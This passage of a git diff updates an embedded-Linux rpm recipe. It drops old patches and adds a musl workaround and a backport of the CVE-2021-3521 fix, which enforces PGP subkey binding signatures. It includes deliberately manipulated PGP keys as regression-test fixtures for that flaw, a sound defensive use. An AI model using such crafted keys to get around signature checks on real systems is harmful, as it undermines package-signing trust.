--elif [ -x /usr/bin/monodis ]; then
-- monodis="/usr/bin/monodis"
-+elif [ -x /usr/bin/monodis.bogus ]; then
-+ monodis="/usr/bin/monodis.bogus"
- else
- exit 0;
- fi
diff --git a/meta/recipes-devtools/rpm/files/0001-rpm-rpmio.c-restrict-virtual-memory-usage-if-limit-s.patch b/meta/recipes-devtools/rpm/files/0001-rpm-rpmio.c-restrict-virtual-memory-usage-if-limit-s.patch
deleted file mode 100644
index 6454785254..0000000000
--- a/meta/recipes-devtools/rpm/files/0001-rpm-rpmio.c-restrict-virtual-memory-usage-if-limit-s.patch
+++ /dev/null
@@ -1,65 +0,0 @@
-From 0066b862bb3a09f39295abd5d972a53ac8dc1555 Mon Sep 17 00:00:00 2001
-From: Peter Bergin <peter@berginkonsult.se>
-Date: Wed, 19 Sep 2018 15:12:31 +0200
-Subject: [PATCH] rpm/rpmio.c: restrict virtual memory usage if limit set
-
-A solution to avoid OOM situation when the virtual memory is restricted
-for a user (ulimit -v). As the lzopen_internal function is run in parallel
-one instance per CPU thread the available virtual memory is limited per
-CPU thread.
-
-Upstream-Status: Pending [merge of multithreading patches to upstream]
-
-Signed-off-by: Peter Bergin <peter@berginkonsult.se>
----
- rpmio/rpmio.c | 34 ++++++++++++++++++++++++++++++++++
- 1 file changed, 34 insertions(+)
-
-diff --git a/rpmio/rpmio.c b/rpmio/rpmio.c
-index e051c98..b3c56b6 100644
---- a/rpmio/rpmio.c
-+++ b/rpmio/rpmio.c
-@@ -845,6 +845,40 @@ static LZFILE *lzopen_internal(const char *mode, int fd, int xz)
- }
- #endif
-
-+ struct rlimit virtual_memory;
-+ getrlimit(RLIMIT_AS, &virtual_memory);
-+ if (virtual_memory.rlim_cur != RLIM_INFINITY) {
-+ const uint64_t virtual_memlimit = virtual_memory.rlim_cur;
-+ const uint64_t virtual_memlimit_per_cpu_thread =
-+ virtual_memlimit / lzma_cputhreads();
-+ uint64_t memory_usage_virt;
-+ rpmlog(RPMLOG_NOTICE, "XZ: virtual memory restricted to %lu and "
-+ "per CPU thread %lu\n", virtual_memlimit, virtual_memlimit_per_cpu_thread);
-+ /* keep reducing the number of compression threads until memory
-+ usage falls below the limit per CPU thread*/
-+ while ((memory_usage_virt = lzma_stream_encoder_mt_memusage(&mt_options)) >
-+ virtual_memlimit_per_cpu_thread) {
-+ /* If number of threads goes down to zero lzma_stream_encoder will
-+ * will return UINT64_MAX. We must check here to avoid an infinite loop.
-+ * If we get into situation that one thread requires more virtual memory
-+ * than available we set one thread, print error message and try anyway. */
-+ if (--mt_options.threads == 0) {
-+ mt_options.threads = 1;
-+ rpmlog(RPMLOG_WARNING,
-+ "XZ: Could not adjust number of threads to get below "
-+ "virtual memory limit %lu. usage %lu\n",
-+ virtual_memlimit_per_cpu_thread, memory_usage_virt);
-+ break;
-+ }
-+ }
-+ if (threads != (int)mt_options.threads)
-+ rpmlog(RPMLOG_NOTICE,
-+ "XZ: Adjusted the number of threads from %d to %d to not "
-+ "exceed the memory usage limit of %lu bytes\n",
-+ threads, mt_options.threads, virtual_memlimit);
-+
-+ }
-+
- ret = lzma_stream_encoder_mt(&lzfile->strm, &mt_options);
- }
- #endif
---
-2.7.4
-
diff --git a/meta/recipes-devtools/rpm/files/0001-tools-Add-error.h-for-non-glibc-case.patch b/meta/recipes-devtools/rpm/files/0001-tools-Add-error.h-for-non-glibc-case.patch
new file mode 100644
index 0000000000..9783396639
--- /dev/null
+++ b/meta/recipes-devtools/rpm/files/0001-tools-Add-error.h-for-non-glibc-case.patch
@@ -0,0 +1,71 @@
+From 9b9d717f484ec913cdd3804e43489b3dc18bd77c Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 31 Oct 2020 22:14:05 -0700
+Subject: [PATCH] tools: Add error.h for non-glibc case
+
+error is glibc specific API, so this patch will mostly not accepted
+upstream given that elfutils has been closely tied to glibc
+
+Upstream-Status: Inappropriate [workaround for musl]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ tools/elfdeps.c | 6 +++++-
+ tools/error.h | 27 +++++++++++++++++++++++++++
+ 2 files changed, 32 insertions(+), 1 deletion(-)
+ create mode 100644 tools/error.h
+
+diff --git a/tools/elfdeps.c b/tools/elfdeps.c
+index d205935bb..3a8945b33 100644
+--- a/tools/elfdeps.c
++++ b/tools/elfdeps.c
+@@ -5,10 +5,14 @@
+ #include <unistd.h>
+ #include <stdlib.h>
+ #include <fcntl.h>
+-#include <error.h>
+ #include <errno.h>
+ #include <popt.h>
+ #include <gelf.h>
++#ifdef __GLIBC__
++#include <error.h>
++#else
++#include "error.h"
++#endif
+
+ #include <rpm/rpmstring.h>
+ #include <rpm/argv.h>
+diff --git a/tools/error.h b/tools/error.h
+new file mode 100644
+index 000000000..ef06827a0
+--- /dev/null
++++ b/tools/error.h
+@@ -0,0 +1,27 @@
++#ifndef _ERROR_H_
++#define _ERROR_H_
++
++#include <stdarg.h>
++#include <stdio.h>
++#include <stdlib.h>
++#include <string.h>
++#include <errno.h>
++
++static unsigned int error_message_count = 0;
++
++static inline void error(int status, int errnum, const char* format, ...)
++{
++ va_list ap;
++ fprintf(stderr, "%s: ", program_invocation_name);
++ va_start(ap, format);
++ vfprintf(stderr, format, ap);
++ va_end(ap);
++ if (errnum)
++ fprintf(stderr, ": %s", strerror(errnum));
++ fprintf(stderr, "\n");
++ error_message_count++;
++ if (status)
++ exit(status);
++}
++
++#endif /* _ERROR_H_ */
diff --git a/meta/recipes-devtools/rpm/files/0002-CVE-2021-3521.patch b/meta/recipes-devtools/rpm/files/0002-CVE-2021-3521.patch
new file mode 100644
index 0000000000..683b57d455
--- /dev/null
+++ b/meta/recipes-devtools/rpm/files/0002-CVE-2021-3521.patch
@@ -0,0 +1,64 @@
+From c4b1bee51bbdd732b94b431a951481af99117703 Mon Sep 17 00:00:00 2001
+From: Panu Matilainen <pmatilai@redhat.com>
+Date: Thu, 30 Sep 2021 09:51:10 +0300
+Subject: [PATCH 2/3] Process MPI's from all kinds of signatures
+
+No immediate effect but needed by the following commits.
+
+CVE: CVE-2021-3521
+Upstream-Status: Backport [https://github.com/rpm-software-management/rpm/commit/b5e8bc74b]
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+
+---
+ rpmio/rpmpgp.c | 13 +++++--------
+ 1 file changed, 5 insertions(+), 8 deletions(-)
+
+diff --git a/rpmio/rpmpgp.c b/rpmio/rpmpgp.c
+index 25f67048fd..509e777e6d 100644
+--- a/rpmio/rpmpgp.c
++++ b/rpmio/rpmpgp.c
+@@ -543,7 +543,7 @@ pgpDigAlg pgpDigAlgFree(pgpDigAlg alg)
+ return NULL;
+ }
+
+-static int pgpPrtSigParams(pgpTag tag, uint8_t pubkey_algo, uint8_t sigtype,
++static int pgpPrtSigParams(pgpTag tag, uint8_t pubkey_algo,
+ const uint8_t *p, const uint8_t *h, size_t hlen,
+ pgpDigParams sigp)
+ {
+@@ -556,10 +556,8 @@ static int pgpPrtSigParams(pgpTag tag, uint8_t pubkey_algo, uint8_t sigtype,
+ int mpil = pgpMpiLen(p);
+ if (pend - p < mpil)
+ break;
+- if (sigtype == PGPSIGTYPE_BINARY || sigtype == PGPSIGTYPE_TEXT) {
+- if (sigalg->setmpi(sigalg, i, p))
+- break;
+- }
++ if (sigalg->setmpi(sigalg, i, p))
++ break;
+ p += mpil;
+ }
+
+@@ -619,7 +617,7 @@ static int pgpPrtSig(pgpTag tag, const uint8_t *h, size_t hlen,
+ }
+
+ p = ((uint8_t *)v) + sizeof(*v);
+- rc = pgpPrtSigParams(tag, v->pubkey_algo, v->sigtype, p, h, hlen, _digp);
++ rc = pgpPrtSigParams(tag, v->pubkey_algo, p, h, hlen, _digp);
+ } break;
+ case 4:
+ { pgpPktSigV4 v = (pgpPktSigV4)h;
+@@ -677,8 +675,7 @@ static int pgpPrtSig(pgpTag tag, const uint8_t *h, size_t hlen,
+ p += 2;
+ if (p > hend)
+ return 1;
+-
+- rc = pgpPrtSigParams(tag, v->pubkey_algo, v->sigtype, p, h, hlen, _digp);
++ rc = pgpPrtSigParams(tag, v->pubkey_algo, p, h, hlen, _digp);
+ } break;
+ default:
+ rpmlog(RPMLOG_WARNING, _("Unsupported version of signature: V%d\n"), version);
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/rpm/files/0002-Run-binary-package-creation-via-thread-pools.patch b/meta/recipes-devtools/rpm/files/0002-Run-binary-package-creation-via-thread-pools.patch
deleted file mode 100644
index d10041c2e1..0000000000
--- a/meta/recipes-devtools/rpm/files/0002-Run-binary-package-creation-via-thread-pools.patch
+++ /dev/null
@@ -1,127 +0,0 @@
-From 513200cf76758de4668312c628d6362bdabfaf4b Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 25 May 2017 19:30:20 +0300
-Subject: [PATCH 1/3] Run binary package creation via thread pools.
-
-Upstream-Status: Submitted [https://github.com/rpm-software-management/rpm/pull/226]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- build/pack.c | 81 +++++++++++++++++++++++++++++++++++++++++++++++++-----------
- configure.ac | 3 +++
- 2 files changed, 70 insertions(+), 14 deletions(-)
-
-diff --git a/build/pack.c b/build/pack.c
-index ccfd614cc..ed5b9ab4e 100644
---- a/build/pack.c
-+++ b/build/pack.c
-@@ -616,25 +616,78 @@ static rpmRC packageBinary(rpmSpec spec, Package pkg, const char *cookie, int ch
- return rc;
- }
-
--rpmRC packageBinaries(rpmSpec spec, const char *cookie, int cheating)
-+struct binaryPackageTaskData
- {
-- rpmRC rc;
- Package pkg;
-+ char *filename;
-+ rpmRC result;
-+ struct binaryPackageTaskData *next;
-+};
-+
-+static struct binaryPackageTaskData* runBinaryPackageTasks(rpmSpec spec, const char *cookie, int cheating)
-+{
-+ struct binaryPackageTaskData *tasks = NULL;
-+ struct binaryPackageTaskData *task = NULL;
-+ struct binaryPackageTaskData *prev = NULL;
-+
-+ for (Package pkg = spec->packages; pkg != NULL; pkg = pkg->next) {
-+ task = rcalloc(1, sizeof(*task));
-+ task->pkg = pkg;
-+ if (pkg == spec->packages) {
-+ // the first package needs to be processed ahead of others, as they copy
-+ // changelog data from it, and so otherwise data races would happen
-+ task->result = packageBinary(spec, pkg, cookie, cheating, &(task->filename));
-+ rpmlog(RPMLOG_NOTICE, _("Finished binary package job, result %d, filename %s\n"), task->result, task->filename);
-+ tasks = task;
-+ }
-+ if (prev != NULL) {
-+ prev->next = task;
-+ }
-+ prev = task;
-+ }
-+
-+ #pragma omp parallel
-+ #pragma omp single
-+ // re-declaring task variable is necessary, or older gcc versions will produce code that segfaults
-+ for (struct binaryPackageTaskData *task = tasks; task != NULL; task = task->next) {
-+ if (task != tasks)
-+ #pragma omp task
-+ {
-+ task->result = packageBinary(spec, task->pkg, cookie, cheating, &(task->filename));
-+ rpmlog(RPMLOG_NOTICE, _("Finished binary package job, result %d, filename %s\n"), task->result, task->filename);
-+ }
-+ }
-+
-+ return tasks;
-+}
-+
-+static void freeBinaryPackageTasks(struct binaryPackageTaskData* tasks)
-+{
-+ while (tasks != NULL) {
-+ struct binaryPackageTaskData* next = tasks->next;
-+ rfree(tasks->filename);
-+ rfree(tasks);
-+ tasks = next;
-+ }
-+}
-+
-+rpmRC packageBinaries(rpmSpec spec, const char *cookie, int cheating)
-+{
- char *pkglist = NULL;
-
-- for (pkg = spec->packages; pkg != NULL; pkg = pkg->next) {
-- char *fn = NULL;
-- rc = packageBinary(spec, pkg, cookie, cheating, &fn);
-- if (rc == RPMRC_OK) {
-- rstrcat(&pkglist, fn);
-- rstrcat(&pkglist, " ");
-- }
-- free(fn);
-- if (rc != RPMRC_OK) {
-- pkglist = _free(pkglist);
-- return rc;
-- }
-+ struct binaryPackageTaskData *tasks = runBinaryPackageTasks(spec, cookie, cheating);
-+
-+ for (struct binaryPackageTaskData *task = tasks; task != NULL; task = task->next) {
-+ if (task->result == RPMRC_OK) {
-+ rstrcat(&pkglist, task->filename);
-+ rstrcat(&pkglist, " ");
-+ } else {
-+ _free(pkglist);
-+ freeBinaryPackageTasks(tasks);
-+ return RPMRC_FAIL;
-+ }
- }
-+ freeBinaryPackageTasks(tasks);
-
- /* Now check the package set if enabled */
- if (pkglist != NULL) {
-diff --git a/configure.ac b/configure.ac
-index a506ec819..59fa0acaf 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -17,6 +17,9 @@ AC_DISABLE_STATIC
-
- PKG_PROG_PKG_CONFIG
-
-+AC_OPENMP
-+RPMCFLAGS="$OPENMP_CFLAGS $RPMCFLAGS"
-+
- dnl Checks for programs.
- AC_PROG_CXX
- AC_PROG_AWK
---
-2.11.0
-
diff --git a/meta/recipes-devtools/rpm/files/0003-CVE-2021-3521.patch b/meta/recipes-devtools/rpm/files/0003-CVE-2021-3521.patch
new file mode 100644
index 0000000000..a5ec802501
--- /dev/null
+++ b/meta/recipes-devtools/rpm/files/0003-CVE-2021-3521.patch
@@ -0,0 +1,329 @@
+From 07676ca03ad8afcf1ca95a2353c83fbb1d970b9b Mon Sep 17 00:00:00 2001
+From: Panu Matilainen <pmatilai@redhat.com>
+Date: Thu, 30 Sep 2021 09:59:30 +0300
+Subject: [PATCH 3/3] Validate and require subkey binding signatures on PGP
+ public keys
+
+All subkeys must be followed by a binding signature by the primary key
+as per the OpenPGP RFC, enforce the presence and validity in the parser.
+
+The implementation is as kludgey as they come to work around our
+simple-minded parser structure without touching API, to maximise
+backportability. Store all the raw packets internally as we decode them
+to be able to access previous elements at will, needed to validate ordering
+and access the actual data. Add testcases for manipulated keys whose
+import previously would succeed.
+
+Depends on the two previous commits:
+7b399fcb8f52566e6f3b4327197a85facd08db91 and
+236b802a4aa48711823a191d1b7f753c82a89ec5
+
+Fixes CVE-2021-3521.
+
+Upstream-Status: Backport [https://github.com/rpm-software-management/rpm/commit/bd36c5dc9]
+CVE:CVE-2021-3521
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+
+---
+ rpmio/rpmpgp.c | 99 +++++++++++++++++--
+ tests/Makefile.am | 3 +
+ tests/data/keys/CVE-2021-3521-badbind.asc | 25 +++++
+ .../data/keys/CVE-2021-3521-nosubsig-last.asc | 25 +++++
+ tests/data/keys/CVE-2021-3521-nosubsig.asc | 37 +++++++
+ tests/rpmsigdig.at | 28 ++++++
+ 6 files changed, 209 insertions(+), 8 deletions(-)
+ create mode 100644 tests/data/keys/CVE-2021-3521-badbind.asc
+ create mode 100644 tests/data/keys/CVE-2021-3521-nosubsig-last.asc
+ create mode 100644 tests/data/keys/CVE-2021-3521-nosubsig.asc
+
+diff --git a/rpmio/rpmpgp.c b/rpmio/rpmpgp.c
+index 509e777e6d..371ad4d9b6 100644
+--- a/rpmio/rpmpgp.c
++++ b/rpmio/rpmpgp.c
+@@ -1061,33 +1061,116 @@ static pgpDigParams pgpDigParamsNew(uint8_t tag)
+ return digp;
+ }
+
++static int hashKey(DIGEST_CTX hash, const struct pgpPkt *pkt, int exptag)
++{
++ int rc = -1;
++ if (pkt->tag == exptag) {
++ uint8_t head[] = {
++ 0x99,
++ (pkt->blen >> 8),
++ (pkt->blen ),
++ };
++
++ rpmDigestUpdate(hash, head, 3);
++ rpmDigestUpdate(hash, pkt->body, pkt->blen);
++ rc = 0;
++ }
++ return rc;
++}
++
++static int pgpVerifySelf(pgpDigParams key, pgpDigParams selfsig,
++ const struct pgpPkt *all, int i)
++{
++ int rc = -1;
++ DIGEST_CTX hash = NULL;
++
++ switch (selfsig->sigtype) {
++ case PGPSIGTYPE_SUBKEY_BINDING:
++ hash = rpmDigestInit(selfsig->hash_algo, 0);
++ if (hash) {
++ rc = hashKey(hash, &all[0], PGPTAG_PUBLIC_KEY);
++ if (!rc)
++ rc = hashKey(hash, &all[i-1], PGPTAG_PUBLIC_SUBKEY);
++ }
++ break;
++ default:
++ /* ignore types we can't handle */
++ rc = 0;
++ break;
++ }
++
++ if (hash && rc == 0)
++ rc = pgpVerifySignature(key, selfsig, hash);
++
++ rpmDigestFinal(hash, NULL, NULL, 0);
++
++ return rc;
++}
++
+ int pgpPrtParams(const uint8_t * pkts, size_t pktlen, unsigned int pkttype,
+ pgpDigParams * ret)
+ {
+ const uint8_t *p = pkts;
+ const uint8_t *pend = pkts + pktlen;
+ pgpDigParams digp = NULL;
+- struct pgpPkt pkt;
++ pgpDigParams selfsig = NULL;
++ int i = 0;
++ int alloced = 16; /* plenty for normal cases */
++ struct pgpPkt *all = xmalloc(alloced * sizeof(*all));
+ int rc = -1; /* assume failure */
++ int expect = 0;
++ int prevtag = 0;
+
+ while (p < pend) {
+- if (decodePkt(p, (pend - p), &pkt))
++ struct pgpPkt *pkt = &all[i];
++ if (decodePkt(p, (pend - p), pkt))
+ break;
+
+ if (digp == NULL) {
+- if (pkttype && pkt.tag != pkttype) {
++ if (pkttype && pkt->tag != pkttype) {
+ break;
+ } else {
+- digp = pgpDigParamsNew(pkt.tag);
++ digp = pgpDigParamsNew(pkt->tag);
+ }
+ }
+
+- if (pgpPrtPkt(&pkt, digp))
++ if (expect) {
++ if (pkt->tag != expect)
++ break;
++ selfsig = pgpDigParamsNew(pkt->tag);
++ }
++ if (pgpPrtPkt(pkt, selfsig ? selfsig : digp))
+ break;
+
+- p += (pkt.body - pkt.head) + pkt.blen;
+- if (pkttype == PGPTAG_SIGNATURE)
+- break;
++ if (selfsig) {
++ /* subkeys must be followed by binding signature */
++ if (prevtag == PGPTAG_PUBLIC_SUBKEY) {
++ if (selfsig->sigtype != PGPSIGTYPE_SUBKEY_BINDING)
++ break;
++ }
++
++ int xx = pgpVerifySelf(digp, selfsig, all, i);
++
++ selfsig = pgpDigParamsFree(selfsig);
++ if (xx)
++ break;
++ expect = 0;
++ }
++
++ if (pkt->tag == PGPTAG_PUBLIC_SUBKEY)
++ expect = PGPTAG_SIGNATURE;
++ prevtag = pkt->tag;
++
++ i++;
++ p += (pkt->body - pkt->head) + pkt->blen;
++ if (pkttype == PGPTAG_SIGNATURE)
++ break;
++
++ if (alloced <= i) {
++ alloced *= 2;
++ all = xrealloc(all, alloced * sizeof(*all));
++ }
++
+ }
+
+ rc = (digp && (p == pend)) ? 0 : -1;
+diff --git a/tests/Makefile.am b/tests/Makefile.am
+index a41ce10de8..7bb23247f1 100644
+--- a/tests/Makefile.am
++++ b/tests/Makefile.am
+@@ -107,6 +107,9 @@ EXTRA_DIST += data/SPECS/hello-config-buildid.spec
+ EXTRA_DIST += data/SPECS/hello-cd.spec
+ EXTRA_DIST += data/keys/rpm.org-rsa-2048-test.pub
+ EXTRA_DIST += data/keys/rpm.org-rsa-2048-test.secret
++EXTRA_DIST += data/keys/CVE-2021-3521-badbind.asc
++EXTRA_DIST += data/keys/CVE-2022-3521-nosubsig.asc
++EXTRA_DIST += data/keys/CVE-2022-3521-nosubsig-last.asc
+ EXTRA_DIST += data/macros.testfile
+ EXTRA_DIST += data/macros.debug
+ EXTRA_DIST += data/SOURCES/foo.c
+diff --git a/tests/data/keys/CVE-2021-3521-badbind.asc b/tests/data/keys/CVE-2021-3521-badbind.asc
+new file mode 100644
+index 0000000000..aea00f9d7a
+--- /dev/null
++++ b/tests/data/keys/CVE-2021-3521-badbind.asc
+@@ -0,0 +1,25 @@
++-----BEGIN PGP PUBLIC KEY BLOCK-----
++Version: rpm-4.17.90 (NSS-3)
++
++mQENBFjmORgBCAC7TMEk6wnjSs8Dr4yqSScWdU2pjcqrkTxuzdWvowcIUPZI0w/g
++HkRqGd4apjvY2V15kjL10gk3QhFP3pZ/9p7zh8o8NHX7aGdSGDK7NOq1eFaErPRY
++91LW9RiZ0lbOjXEzIL0KHxUiTQEmdXJT43DJMFPyW9fkCWg0OltiX618FUdWWfI8
++eySdLur1utnqBvdEbCUvWK2RX3vQZQdvEBODnNk2pxqTyV0w6VPQ96W++lF/5Aas
++7rUv3HIyIXxIggc8FRrnH+y9XvvHDonhTIlGnYZN4ubm9i4y3gOkrZlGTrEw7elQ
++1QeMyG2QQEbze8YjpTm4iLABCBrRfPRaQpwrABEBAAG0IXJwbS5vcmcgUlNBIHRl
++c3RrZXkgPHJzYUBycG0ub3JnPokBNwQTAQgAIQUCWOY5GAIbAwULCQgHAgYVCAkK
++CwIEFgIDAQIeAQIXgAAKCRBDRFkeGWTF/MxxCACnjqFL+MmPh9W9JQKT2DcLbBzf
++Cqo6wcEBoCOcwgRSk8dSikhARoteoa55JRJhuMyeKhhEAogE9HRmCPFdjezFTwgB
++BDVBpO2dZ023mLXDVCYX3S8pShOgCP6Tn4wqCnYeAdLcGg106N4xcmgtcssJE+Pr
++XzTZksbZsrTVEmL/Ym+R5w5jBfFnGk7Yw7ndwfQsfNXQb5AZynClFxnX546lcyZX
++fEx3/e6ezw57WNOUK6WT+8b+EGovPkbetK/rGxNXuWaP6X4A/QUm8O98nCuHYFQq
+++mvNdsCBqGf7mhaRGtpHk/JgCn5rFvArMDqLVrR9hX0LdCSsH7EGE+bR3r7wuQEN
++BFjmORgBCACk+vDZrIXQuFXEYToZVwb2attzbbJJCqD71vmZTLsW0QxuPKRgbcYY
++zp4K4lVBnHhFrF8MOUOxJ7kQWIJZMZFt+BDcptCYurbD2H4W2xvnWViiC+LzCMzz
++iMJT6165uefL4JHTDPxC2fFiM9yrc72LmylJNkM/vepT128J5Qv0gRUaQbHiQuS6
++Dm/+WRnUfx3i89SV4mnBxb/Ta93GVqoOciWwzWSnwEnWYAvOb95JL4U7c5J5f/+c
++KnQDHsW7sIiIdscsWzvgf6qs2Ra1Zrt7Fdk4+ZS2f/adagLhDO1C24sXf5XfMk5m
++L0OGwZSr9m5s17VXxfspgU5ugc8kBJfzABEBAAE=
++=WCfs
++-----END PGP PUBLIC KEY BLOCK-----
++
+diff --git a/tests/data/keys/CVE-2021-3521-nosubsig-last.asc b/tests/data/keys/CVE-2021-3521-nosubsig-last.asc
+new file mode 100644
+index 0000000000..aea00f9d7a
+--- /dev/null
++++ b/tests/data/keys/CVE-2021-3521-nosubsig-last.asc
+@@ -0,0 +1,25 @@
++-----BEGIN PGP PUBLIC KEY BLOCK-----
++Version: rpm-4.17.90 (NSS-3)
++
++mQENBFjmORgBCAC7TMEk6wnjSs8Dr4yqSScWdU2pjcqrkTxuzdWvowcIUPZI0w/g
++HkRqGd4apjvY2V15kjL10gk3QhFP3pZ/9p7zh8o8NHX7aGdSGDK7NOq1eFaErPRY
++91LW9RiZ0lbOjXEzIL0KHxUiTQEmdXJT43DJMFPyW9fkCWg0OltiX618FUdWWfI8
++eySdLur1utnqBvdEbCUvWK2RX3vQZQdvEBODnNk2pxqTyV0w6VPQ96W++lF/5Aas
++7rUv3HIyIXxIggc8FRrnH+y9XvvHDonhTIlGnYZN4ubm9i4y3gOkrZlGTrEw7elQ
++1QeMyG2QQEbze8YjpTm4iLABCBrRfPRaQpwrABEBAAG0IXJwbS5vcmcgUlNBIHRl
++c3RrZXkgPHJzYUBycG0ub3JnPokBNwQTAQgAIQUCWOY5GAIbAwULCQgHAgYVCAkK
++CwIEFgIDAQIeAQIXgAAKCRBDRFkeGWTF/MxxCACnjqFL+MmPh9W9JQKT2DcLbBzf
++Cqo6wcEBoCOcwgRSk8dSikhARoteoa55JRJhuMyeKhhEAogE9HRmCPFdjezFTwgB
++BDVBpO2dZ023mLXDVCYX3S8pShOgCP6Tn4wqCnYeAdLcGg106N4xcmgtcssJE+Pr
++XzTZksbZsrTVEmL/Ym+R5w5jBfFnGk7Yw7ndwfQsfNXQb5AZynClFxnX546lcyZX
++fEx3/e6ezw57WNOUK6WT+8b+EGovPkbetK/rGxNXuWaP6X4A/QUm8O98nCuHYFQq
+++mvNdsCBqGf7mhaRGtpHk/JgCn5rFvArMDqLVrR9hX0LdCSsH7EGE+bR3r7wuQEN
++BFjmORgBCACk+vDZrIXQuFXEYToZVwb2attzbbJJCqD71vmZTLsW0QxuPKRgbcYY
++zp4K4lVBnHhFrF8MOUOxJ7kQWIJZMZFt+BDcptCYurbD2H4W2xvnWViiC+LzCMzz
++iMJT6165uefL4JHTDPxC2fFiM9yrc72LmylJNkM/vepT128J5Qv0gRUaQbHiQuS6
++Dm/+WRnUfx3i89SV4mnBxb/Ta93GVqoOciWwzWSnwEnWYAvOb95JL4U7c5J5f/+c
++KnQDHsW7sIiIdscsWzvgf6qs2Ra1Zrt7Fdk4+ZS2f/adagLhDO1C24sXf5XfMk5m
++L0OGwZSr9m5s17VXxfspgU5ugc8kBJfzABEBAAE=
++=WCfs
++-----END PGP PUBLIC KEY BLOCK-----
++
+diff --git a/tests/data/keys/CVE-2021-3521-nosubsig.asc b/tests/data/keys/CVE-2021-3521-nosubsig.asc
+new file mode 100644
+index 0000000000..3a2e7417f8
+--- /dev/null
++++ b/tests/data/keys/CVE-2021-3521-nosubsig.asc
+@@ -0,0 +1,37 @@
++-----BEGIN PGP PUBLIC KEY BLOCK-----
++Version: rpm-4.17.90 (NSS-3)
++
++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
++E4XX4jtDmdZPreZALsiB
++=rRop
++-----END PGP PUBLIC KEY BLOCK-----
++
+diff --git a/tests/rpmsigdig.at b/tests/rpmsigdig.at
+index 8e7c759b8f..e2d30a7f1b 100644
+--- a/tests/rpmsigdig.at
++++ b/tests/rpmsigdig.at
+@@ -2,6 +2,34 @@
+
+ AT_BANNER([RPM signatures and digests])
+
++AT_SETUP([rpmkeys --import invalid keys])
++AT_KEYWORDS([rpmkeys import])
++RPMDB_INIT
++
++AT_CHECK([
++runroot rpmkeys --import /data/keys/CVE-2021-3521-badbind.asc
++],
++[1],
++[],
++[error: /data/keys/CVE-2021-3521-badbind.asc: key 1 import failed.]
++)
++AT_CHECK([
++runroot rpmkeys --import /data/keys/CVE-2021-3521-nosubsig.asc
++],
++[1],
++[],
++[error: /data/keys/CVE-2021-3521-nosubsig.asc: key 1 import failed.]
++)
++
++AT_CHECK([
++runroot rpmkeys --import /data/keys/CVE-2021-3521-nosubsig-last.asc
++],
++[1],
++[],
